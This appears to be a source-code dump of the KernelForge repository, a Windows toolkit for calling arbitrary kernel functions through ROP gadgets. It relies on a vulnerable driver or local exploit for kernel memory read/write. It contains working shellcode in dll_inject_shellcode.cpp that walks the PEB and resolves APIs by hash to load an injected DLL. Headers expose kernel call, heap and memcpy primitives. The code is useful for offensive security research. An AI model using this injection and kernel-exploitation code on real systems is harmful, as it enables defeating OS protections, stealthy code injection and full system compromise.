64 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write
65 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User
66 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching
67 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached
68 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU)
69 | DWORD64 Dirty : 1; // 0 = Not Dirty, 1 = written by processor on access to page
70 | DWORD64 PAT : 1; // 0 = Ignore Page Attribute Table
71 | DWORD64 Global : 1; // 0 = Not global page, 1 = global page TLB not cleared on CR3 write
72 | DWORD64 Available : 3; // Available for use by system software
73 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address
74 | DWORD64 AvabilableHigh : 11; // Available for use by system software
75 | DWORD64 Nx : 1; // 0 = Execute Code, 1 = No Code Execution
76 |
77 | } Bits;
78 |
79 | DWORD64 Uint64;
80 |
81 | } X64_PAGE_TABLE_ENTRY_4K;
82 |
83 | //
84 | // Page Table Entry 2M
85 | //
86 | typedef union
87 | {
88 | struct
89 | {
90 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory
91 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write
92 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User
93 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching
94 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached
95 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU)
96 | DWORD64 Dirty : 1; // 0 = Not Dirty, 1 = written by processor on access to page
97 | DWORD64 MustBe1 : 1; // Must be 1
98 | DWORD64 Global : 1; // 0 = Not global page, 1 = global page TLB not cleared on CR3 write
99 | DWORD64 Available : 3; // Available for use by system software
100 | DWORD64 PAT : 1; //
101 | DWORD64 MustBeZero : 8; // Must be zero;
102 | DWORD64 PageTableBaseAddress : 31; // Page Table Base Address
103 | DWORD64 AvabilableHigh : 11; // Available for use by system software
104 | DWORD64 Nx : 1; // 0 = Execute Code, 1 = No Code Execution
105 |
106 | } Bits;
107 |
108 | DWORD64 Uint64;
109 |
110 | } X64_PAGE_TABLE_ENTRY_2M;
111 |
112 | #pragma pack()
113 |
114 | #define PFN_TO_PAGE(_val_) (((DWORD64)(_val_)) << PAGE_SHIFT)
115 | #define PAGE_TO_PFN(_val_) (((DWORD64)(_val_)) >> PAGE_SHIFT)
116 |
117 | // get MPL4 address from CR3 register value
118 | #define PML4_ADDRESS(_val_) ((_val_) & 0xfffffffffffff000)
119 |
120 | // get address translation indexes from virtual address
121 | #define PML4_INDEX(_addr_) (((DWORD64)(_addr_) >> 39) & 0x1ff)
122 | #define PDPT_INDEX(_addr_) (((DWORD64)(_addr_) >> 30) & 0x1ff)
123 | #define PDE_INDEX(_addr_) (((DWORD64)(_addr_) >> 21) & 0x1ff)
124 | #define PTE_INDEX(_addr_) (((DWORD64)(_addr_) >> 12) & 0x1ff)
125 |
126 | // get address translation indexes to virtual address
127 | #define PML4_ADDR(_index_) ((_index_) << 39)
128 | #define PDPT_ADDR(_index_) ((_index_) << 30)
129 | #define PDE_ADDR(_index_) ((_index_) << 21)
130 | #define PTE_ADDR(_index_) ((_index_) << 12)
131 |
132 | #define PAGE_OFFSET_4K(_addr_) ((DWORD64)(_addr_) & 0xfff)
133 | #define PAGE_OFFSET_2M(_addr_) ((DWORD64)(_addr_) & 0x1fffff)
134 | #define PAGE_OFFSET_1G(_addr_) ((DWORD64)(_addr_) & 0x3fffffff)
135 |
136 | // PS flag of PDPTE and PDE
137 | #define PDPTE_PDE_PS 0x80
138 |
139 | // EPT present bit
140 | #define EPT_PRESENT(_val_) (((_val_) & 7) != 0)
141 |
142 | // PTE bits
143 | #define PTE_PRESENT 0x1
144 | #define PTE_RW 0x2
145 | #define PTE_GLOBAL 0x100
146 |
147 | // EPT permission flags
148 | #define EPT_R(_val_) (((_val_) & 1) == 1)
149 | #define EPT_W(_val_) (((_val_) & 2) == 2)
150 | #define EPT_X(_val_) (((_val_) & 4) == 4)
151 |
--------------------------------------------------------------------------------
/dll_inject_shellcode.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | typedef BOOL (WINAPI * DLL_MAIN)(
4 | PVOID hinstDLL,
5 | DWORD fdwReason,
6 | PVOID lpvReserved
7 | );
8 | //--------------------------------------------------------------------------------------
9 | DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct)
10 | {
11 | // check if payload present
12 | PVOID ModuleBase = Struct->ModuleBase;
13 | if (ModuleBase)
14 | {
15 | // load imports
16 | if (dll_inject_ProcessImports(ModuleBase))
17 | {
18 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
19 | RVATOVA(ModuleBase, ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
20 |
21 | if (pHeaders->OptionalHeader.AddressOfEntryPoint != 0)
22 | {
23 | DLL_MAIN DllMain = (DLL_MAIN)
24 | RVATOVA(ModuleBase, pHeaders->OptionalHeader.AddressOfEntryPoint);
25 |
26 | // call DLL entry point
27 | DllMain(ModuleBase, DLL_PROCESS_ATTACH, NULL);
28 | }
29 | }
30 | }
31 |
32 | return 0;
33 | }
34 | //--------------------------------------------------------------------------------------
35 | DWORD WINAPI dll_inject_CalcHash(char *lpszString)
36 | {
37 | DWORD Hash = 0;
38 | char *lpszChar = lpszString;
39 |
40 | while (*lpszChar)
41 | {
42 | Hash = ((Hash << 7) & (DWORD)-1) | (Hash >> (32 - 7));
43 | Hash = Hash ^ *lpszChar;
44 |
45 | lpszChar += 1;
46 | }
47 |
48 | return Hash;
49 | }
50 | //--------------------------------------------------------------------------------------
51 | PVOID WINAPI dll_inject_GetModuleAddressByHash(DWORD ModuleHash)
52 | {
53 | PUCHAR Peb = NULL;
54 |
55 | #ifdef _X86_
56 |
57 | Peb = (PUCHAR)__readfsdword(0x30);
58 |
59 | #else _AMD64_
60 |
61 | PUCHAR Teb = (PUCHAR)__readgsqword(0x30);
62 | if (Teb)
63 | {
64 | Peb = *(PUCHAR *)(Teb + 0x60);
65 | }
66 |
67 | #endif
68 |
69 | if (Peb == NULL)
70 | {
71 | // process is not initialized properly
72 | return NULL;
73 | }
74 |
75 | // obtain address of first entry in loader's table
76 | PPEB_LDR_DATA LdrData = *(PPEB_LDR_DATA *)(Peb + DLL_INJECT_PEB_LDR_TABLE_OFFSET);
77 | PLIST_ENTRY Head = &LdrData->ModuleListLoadOrder;
78 | PLIST_ENTRY Entry = Head->Flink;
79 |
80 | // parse loader table entries
81 | while (Entry != Head)
82 | {
83 | char szBaseDllName[MAX_PATH];
84 | PLDR_DATA_TABLE_ENTRY LdrData = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
85 | WORD NameLength = LdrData->BaseDllName.Length / sizeof(WCHAR);
86 |
87 | for (WORD i = 0; i < NameLength; i += 1)
88 | {
89 | // copy module name into ANSI string
90 | char Chr = (char)LdrData->BaseDllName.Buffer[i];
91 |
92 | if ((Chr >= 'A') && (Chr <= 'Z'))
93 | {
94 | // convert characetr to the low case
95 | Chr = Chr + ('a' - 'A');
96 | }
97 |
98 | szBaseDllName[i] = Chr;
99 | }
100 |
101 | szBaseDllName[NameLength] = '\0';
102 |
103 | // check the name hash
104 | if (dll_inject_CalcHash(szBaseDllName) == ModuleHash)
105 | {
106 | return LdrData->DllBase;
107 | }
108 |
109 | Entry = Entry->Flink;
110 | }
111 |
112 | return NULL;
113 | }
114 | //--------------------------------------------------------------------------------------
115 | PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, DWORD ProcHash)
116 | {
117 | if (Image == NULL)
118 | {
119 | // something goes wrong
120 | return NULL;
121 | }
122 |
123 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
124 | RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
125 |
126 | DWORD Addr = 0;
127 | DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
128 | DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
129 |
130 | if (ExportAddr != 0)
131 | {
132 | PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr);
133 |
134 | if (pExport->AddressOfFunctions == 0 ||
135 | pExport->AddressOfNameOrdinals == 0 ||
136 | pExport->AddressOfNames == 0)
137 | {
138 | // no exports by name
139 | return NULL;
140 | }
141 |
142 | // parse module exports
143 | PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions);
144 | PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals);
145 | PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames);
146 |
147 | for (DWORD i = 0; i < pExport->NumberOfNames; i += 1)
148 | {
149 | // calculate and compare hash of function
150 | if (dll_inject_CalcHash((char *)RVATOVA(Image, AddrOfNames[i])) == ProcHash)
151 | {
152 | // get exported function RVA
153 | Addr = AddrOfFunctions[AddrOfOrdinals[i]];
154 | break;
155 | }
156 | }
157 | }
158 |
159 | if (Addr != 0)
160 | {
161 | // check for the forwarded export
162 | if (Addr > ExportAddr &&
163 | Addr < ExportAddr + ExportSize)
164 | {
165 | // forwarded exports are not supported
166 | return NULL;
167 | }
168 |
169 | return RVATOVA(Image, Addr);
170 | }
171 |
172 | return NULL;
173 | }
174 | //--------------------------------------------------------------------------------------
175 | BOOL WINAPI dll_inject_ProcessImports(PVOID Image)
176 | {
177 | dll_inject_LoadLibraryA f_LoadLibraryA = NULL;
178 | dll_inject_GetProcAddress f_GetProcAddress = NULL;
179 |
180 | // get kernel32.dll base address
181 | PVOID KernelBase = dll_inject_GetModuleAddressByHash(DLL_INJECT_HASH_KERNEL32);
182 | if (KernelBase)
183 | {
184 | f_LoadLibraryA = (dll_inject_LoadLibraryA)
185 | dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_LOAD_LIBRARY_A);
186 |
187 | f_GetProcAddress = (dll_inject_GetProcAddress)
188 | dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_GET_PROC_ADDRESS);
189 | }
190 |
191 | if (f_LoadLibraryA == NULL ||
192 | f_GetProcAddress == NULL)
193 | {
194 | // unable to import required functions
195 | return FALSE;
196 | }
197 |
198 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
199 | RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
200 |
201 | DWORD ImportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
202 | DWORD ImportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
203 |
204 | if (ImportAddr != 0)
205 | {
206 | PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, ImportAddr);
207 |
208 | while (pImport->Name != 0)
209 | {
210 | char *lpszLibName = (char *)RVATOVA(Image, pImport->Name);
211 |
212 | // load import library
213 | PVOID LibAddr = f_LoadLibraryA(lpszLibName);
214 | if (LibAddr == NULL)
215 | {
216 | return FALSE;
217 | }
218 |
219 | // process thunks data
220 | PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RVATOVA(Image, pImport->FirstThunk);
221 | while (pThunk->u1.Ordinal != 0)
222 | {
223 | if (pThunk->u1.Ordinal & 0xf0000000)
224 | {
225 | // lookup function address by ordinal
226 | PVOID FuncAddr = f_GetProcAddress(LibAddr, (char *)(pThunk->u1.Ordinal & 0xffff));
227 | if (FuncAddr == NULL)
228 | {
229 | return FALSE;
230 | }
231 |
232 | *(PVOID *)pThunk = FuncAddr;
233 | }
234 | else
235 | {
236 | PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData);
237 | char *lpszFuncName = (char *)&pName->Name;
238 |
239 | // lookup function address by name
240 | PVOID FuncAddr = f_GetProcAddress(LibAddr, lpszFuncName);
241 | if (FuncAddr == NULL)
242 | {
243 | return FALSE;
244 | }
245 |
246 | *(PVOID *)pThunk = FuncAddr;
247 | }
248 |
249 | pThunk += 1;
250 | }
251 |
252 | pImport += 1;
253 | }
254 | }
255 |
256 | return TRUE;
257 | }
258 |
259 | void WINAPI dll_inject_End(void) { }
260 | //--------------------------------------------------------------------------------------
261 | // EoF
262 |
--------------------------------------------------------------------------------
/dll_inject_shellcode.h:
--------------------------------------------------------------------------------
1 |
2 | // hash sums for dll_inject_CalcHash()
3 | #define DLL_INJECT_HASH_KERNEL32 0x4b1ffe8e // "kernel32.dll"
4 | #define DLL_INJECT_HASH_LOAD_LIBRARY_A 0xc8ac8026 // "LoadLibraryA"
5 | #define DLL_INJECT_HASH_GET_PROC_ADDRESS 0x1fc0eaee // "GetProcAddress"
6 |
7 | typedef PVOID (WINAPI * dll_inject_LoadLibraryA)(char *lpLibFileName);
8 | typedef PVOID (WINAPI * dll_inject_GetProcAddress)(PVOID hModule, char *lpProcName);
9 |
10 | #ifdef _X86_
11 |
12 | #define DLL_INJECT_PEB_IMAGE_BASE_OFFEST 0x08
13 | #define DLL_INJECT_PEB_LDR_TABLE_OFFSET 0x0C
14 |
15 | #else _AMD64_
16 |
17 | #define DLL_INJECT_PEB_IMAGE_BASE_OFFEST 0x10
18 | #define DLL_INJECT_PEB_LDR_TABLE_OFFSET 0x18
19 |
20 | #endif
21 |
22 | #pragma pack(1)
23 |
24 | typedef struct _DLL_INJECT_STRUCT
25 | {
26 | // DLL image base
27 | PVOID ModuleBase;
28 |
29 | // DLL load shellcode
30 | UCHAR Shellcode[];
31 |
32 | } DLL_INJECT_STRUCT,
33 | *PDLL_INJECT_STRUCT;
34 |
35 | #pragma pack()
36 |
37 | extern "C"
38 | {
39 | DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct);
40 | DWORD WINAPI dll_inject_CalcHash(char *lpszString);
41 | PVOID WINAPI dll_inject_GetModuleAddressByHash(ULONG ModuleHash);
42 | PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, ULONG ProcHash);
43 | BOOL WINAPI dll_inject_ProcessImports(PVOID Image);
44 | void WINAPI dll_inject_End(void);
45 | };
46 |
--------------------------------------------------------------------------------
/docs/images/kforge_example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/kforge_example.png
--------------------------------------------------------------------------------
/docs/images/rop_gadget.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/rop_gadget.png
--------------------------------------------------------------------------------
/docs/images/vtl_kernel_functions.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/vtl_kernel_functions.png
--------------------------------------------------------------------------------
/docs/images/winio_signature.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/docs/images/winio_signature.png
--------------------------------------------------------------------------------
/dummy.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/dummy.dll
--------------------------------------------------------------------------------
/dummy.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/dummy.pdb
--------------------------------------------------------------------------------
/dummy/dummy.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | DWORD WINAPI DllThread(LPVOID lpParam)
4 | {
5 | char szPath[MAX_PATH];
6 | char szText[MAX_PATH + 0x100];
7 |
8 | // obtain process executable path
9 | GetModuleFileName(GetModuleHandle(NULL), szPath, MAX_PATH);
10 |
11 | sprintf(szText, "Running in \"%s\", PID = %d", szPath, GetCurrentProcessId());
12 |
13 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): %s\n", szText);
14 |
15 | MessageBox(0, szText, __FUNCTION__"()", MB_ICONINFORMATION);
16 |
17 | return 0;
18 | }
19 | //--------------------------------------------------------------------------------------
20 | BOOL APIENTRY DllMain(
21 | HMODULE hModule,
22 | DWORD ul_reason_for_call,
23 | LPVOID lpReserved)
24 | {
25 | switch (ul_reason_for_call)
26 | {
27 | case DLL_PROCESS_ATTACH:
28 | {
29 | // show message in separate thread to avoid loader locks
30 | HANDLE hThread = CreateThread(NULL, 0, DllThread, NULL, 0, NULL);
31 | if (hThread)
32 | {
33 | CloseHandle(hThread);
34 | }
35 | else
36 | {
37 | DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
38 | }
39 |
40 | break;
41 | }
42 |
43 | case DLL_THREAD_ATTACH:
44 | case DLL_THREAD_DETACH:
45 | case DLL_PROCESS_DETACH:
46 |
47 | break;
48 | }
49 |
50 | return TRUE;
51 | }
52 | //--------------------------------------------------------------------------------------
53 | // EoF
54 |
--------------------------------------------------------------------------------
/dummy/dummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {60067986-A909-433D-9699-0E00FE13E16E}
15 | Win32Proj
16 | dummy
17 |
18 |
19 |
20 | DynamicLibrary
21 | true
22 | v120
23 | MultiByte
24 |
25 |
26 | DynamicLibrary
27 | false
28 | v120
29 | true
30 | MultiByte
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | false
44 | false
45 | $(SolutionDir)
46 |
47 |
48 | false
49 | $(SolutionDir)
50 | false
51 |
52 |
53 |
54 | NotUsing
55 | Level3
56 | Full
57 | WIN32;_DEBUG;_WINDOWS;_USRDLL;DUMMY_EXPORTS;%(PreprocessorDefinitions)
58 | /D DBG %(AdditionalOptions)
59 | Default
60 | MultiThreadedDebug
61 | Size
62 | true
63 | $(SolutionDir);$(ProjectDir)
64 |
65 |
66 | Windows
67 | true
68 | %(AdditionalOptions)
69 | $(SolutionDir)$(TargetName).pdb
70 | $(SolutionDir)$(TargetName)$(TargetExt)
71 |
72 |
73 |
74 |
75 | Level3
76 | NotUsing
77 | Full
78 | WIN32;NDEBUG;_WINDOWS;_USRDLL;DUMMY_EXPORTS;%(PreprocessorDefinitions)
79 | /D "DBG" %(AdditionalOptions)
80 | Default
81 | MultiThreaded
82 | Size
83 | true
84 | $(SolutionDir);$(ProjectDir)
85 |
86 |
87 | Windows
88 | true
89 | %(AdditionalOptions)
90 | $(SolutionDir)$(TargetName).pdb
91 | $(SolutionDir)$(TargetName)$(TargetExt)
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/dummy/dummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {66b23975-4316-4cb0-a82f-e46d26ccbd94}
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files\common
32 |
33 |
34 |
35 |
36 | Source Files
37 |
38 |
39 | Source Files
40 |
41 |
42 |
--------------------------------------------------------------------------------
/dummy/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // backdoor_client.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/dummy/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #pragma warning(disable: 4200)
3 | #pragma warning(disable: 4996)
4 |
5 | #include "targetver.h"
6 |
7 | // exclude rarely-used stuff from Windows headers
8 | #define WIN32_LEAN_AND_MEAN
9 |
10 | #include
11 | #include
12 | #include
13 |
14 | #include "common/ntdll_defs.h"
15 | #include "common/ntdll_undocnt.h"
16 | #include "common/common.h"
17 | #include "common/debug.h"
18 |
--------------------------------------------------------------------------------
/dummy/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/include/kforge_driver.h:
--------------------------------------------------------------------------------
1 | #ifndef _KFORGE_DRIVER_H_
2 | #define _KFORGE_DRIVER_H_
3 |
4 | #ifdef __cplusplus
5 |
6 | extern "C"
7 | {
8 |
9 | #endif
10 |
11 | /**
12 | * Initialize kernel driver or local exploit that provies arbitrary
13 | * memory read write primitives.
14 | *
15 | * @return TRUE if success or FALSE in case of error.
16 | */
17 | BOOL DriverInit(void);
18 |
19 | /**
20 | * Uninitialize kernel driver or local exploit.
21 | *
22 | * @return TRUE if success or FALSE in case of error.
23 | */
24 | BOOL DriverUninit(void);
25 |
26 | /**
27 | * Read kernel virtual address space memory.
28 | *
29 | * @param Addr Source address to read from.
30 | * @param Data Destination buffer to store read data.
31 | * @param DataSize Number of bytes to read.
32 | * @return TRUE if success or FALSE in case of error.
33 | */
34 | BOOL DriverMemRead(PVOID Addr, PVOID Data, DWORD_PTR DataSize);
35 |
36 | /**
37 | * Write kernel virtual address space memory.
38 | *
39 | * @param Addr Destination address to write into.
40 | * @param Data Source buffer with data to write.
41 | * @param DataSize Number of bytes to write.
42 | * @return TRUE if success or FALSE in case of error.
43 | */
44 | BOOL DriverMemWrite(PVOID Addr, PVOID Data, DWORD_PTR DataSize);
45 |
46 | #ifdef __cplusplus
47 |
48 | }
49 |
50 | #endif
51 | #endif
52 |
--------------------------------------------------------------------------------
/include/kforge_library.h:
--------------------------------------------------------------------------------
1 | #ifndef _KFORGE_LIBRARY_H_
2 | #define _KFORGE_LIBRARY_H_
3 |
4 | // max arguments for KfCall(): 4 over the registers and 9 over the stack
5 | #define MAX_ARGS (4 + 9)
6 |
7 | // convert KfCall() call arguments
8 | #define KF_ARG(_val_) ((PVOID)(_val_))
9 |
10 | // convert KfCall() return value
11 | #define KF_RET(_val_) ((PVOID *)(_val_))
12 |
13 | #ifdef __cplusplus
14 |
15 | extern "C"
16 | {
17 |
18 | #endif
19 |
20 | /**
21 | * Initialize Kernel Forge library: reads kernel image into the user mode memory,
22 | * finds needed ROP gadgets, etc, etc.
23 | *
24 | * @return TRUE if success or FALSE in case of error.
25 | */
26 | BOOL KfInit(void);
27 |
28 | /**
29 | * Uninitialize Kernel Forge library when you don't need to use its API anymore.
30 | *
31 | * @return TRUE if success and FALSE in case of error.
32 | */
33 | BOOL KfUninit(void);
34 |
35 | /**
36 | * Call kernel function by its name, it can be exported ntoskrnl.exe function
37 | * or not exported Zw function.
38 | *
39 | * @param lpszProcName Name of the function to call.
40 | * @param Args Array with its arguments.
41 | * @param dwArgsCount Number of the arguments.
42 | * @param pRetVal Pointer to the variable that receives return value of the function.
43 | * @return TRUE if success or FALSE in case of error.
44 | */
45 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
46 |
47 | /**
48 | * Call an arbitrary function by its address.
49 | *
50 | * @param ProcAddr Address of the function to call.
51 | * @param Args Array with its arguments.
52 | * @param dwArgsCount Number of the arguments.
53 | * @param pRetVal Pointer to the variable that receives return value of the function.
54 | * @return TRUE if success or FALSE in case of error.
55 | */
56 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
57 |
58 | /**
59 | * Get system call number by appropriate native API function name.
60 | *
61 | * @param lpszProcName Name of the function.
62 | * @param pdwRet Pointer to the variable that receives system call number.
63 | * @return TRUE if success or FALSE in case of error.
64 | */
65 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet);
66 |
67 | /**
68 | * Get an actual address of the function exported by ntoskrnl.exe image.
69 | *
70 | * @param lpszProcName Name of exported function.
71 | * @return Address of the function or NULL in case of error.
72 | */
73 | PVOID KfGetKernelProcAddress(char *lpszProcName);
74 |
75 | /**
76 | * Get an actual address of not exported Zw function of ntoskrnl.exe image
77 | * using signature based search.
78 | *
79 | * @param lpszProcName Name of Zw function.
80 | * @return Address of the function or NULL in case of error.
81 | */
82 | PVOID KfGetKernelZwProcAddress(char *lpszProcName);
83 |
84 | /**
85 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
86 | * specified amount of non paged kernel heap memory.
87 | *
88 | * @param Size Number of bytes to allocate.
89 | * @return Kernel address of allocated memory or NULL in case of error.
90 | */
91 | PVOID KfHeapAlloc(SIZE_T Size);
92 |
93 | /**
94 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
95 | * specified amount of non paged kernel heap memory and copy spcified data from
96 | * the user mode into the allocated memory.
97 | *
98 | * @param Size Number of bytes to allocate.
99 | * @param Data Data to copy into the allocated memory.
100 | * @return Kernel address of allocated memory or NULL in case of error.
101 | */
102 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data);
103 |
104 | /**
105 | * Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory
106 | * that was allocated by KfHeapAlloc() or KfHeapAllocData() functions.
107 | *
108 | * @param Addr Address of the memory to free.
109 | */
110 | void KfHeapFree(PVOID Addr);
111 |
112 | /**
113 | * Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data
114 | * between kernel mode and user mode or vice versa.
115 | *
116 | * @param Dst Address of the destination memory.
117 | * @param Src Address of the source memory.
118 | * @param Size Number of bytes to copy.
119 | * @return Destination memory address if success or NULL in case of error.
120 | */
121 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size);
122 |
123 | /**
124 | * Wrapper that uses KfCall() to execute nt!memset() function to fill memory region
125 | * with specified character.
126 | *
127 | * @param Dst Address of the destination memory.
128 | * @param Val Character to fill.
129 | * @param Size Number of bytes to fill.
130 | * @return Destination memory address if success or NULL in case of error.
131 | */
132 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size);
133 |
134 | #ifdef __cplusplus
135 |
136 | }
137 |
138 | #endif
139 | #endif
140 |
--------------------------------------------------------------------------------
/kforge.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge.dll
--------------------------------------------------------------------------------
/kforge.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge.pdb
--------------------------------------------------------------------------------
/kforge.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.21005.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_driver", "kforge_driver\kforge_driver.vcxproj", "{9244F175-9960-47FB-A197-F717D5C2C370}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_library", "kforge_library\kforge_library.vcxproj", "{01DA4344-6C0C-4692-9542-D2E895AA4AFB}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge_example", "kforge_example\kforge_example.vcxproj", "{FD13CD14-B412-45BD-A3C9-7466CD83CAFC}"
11 | ProjectSection(ProjectDependencies) = postProject
12 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB} = {01DA4344-6C0C-4692-9542-D2E895AA4AFB}
13 | {9244F175-9960-47FB-A197-F717D5C2C370} = {9244F175-9960-47FB-A197-F717D5C2C370}
14 | EndProjectSection
15 | EndProject
16 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{60067986-A909-433D-9699-0E00FE13E16E}"
17 | EndProject
18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kforge", "kforge\kforge.vcxproj", "{548848C6-A540-47C8-8C2F-C3B309ED331B}"
19 | ProjectSection(ProjectDependencies) = postProject
20 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB} = {01DA4344-6C0C-4692-9542-D2E895AA4AFB}
21 | {9244F175-9960-47FB-A197-F717D5C2C370} = {9244F175-9960-47FB-A197-F717D5C2C370}
22 | EndProjectSection
23 | EndProject
24 | Global
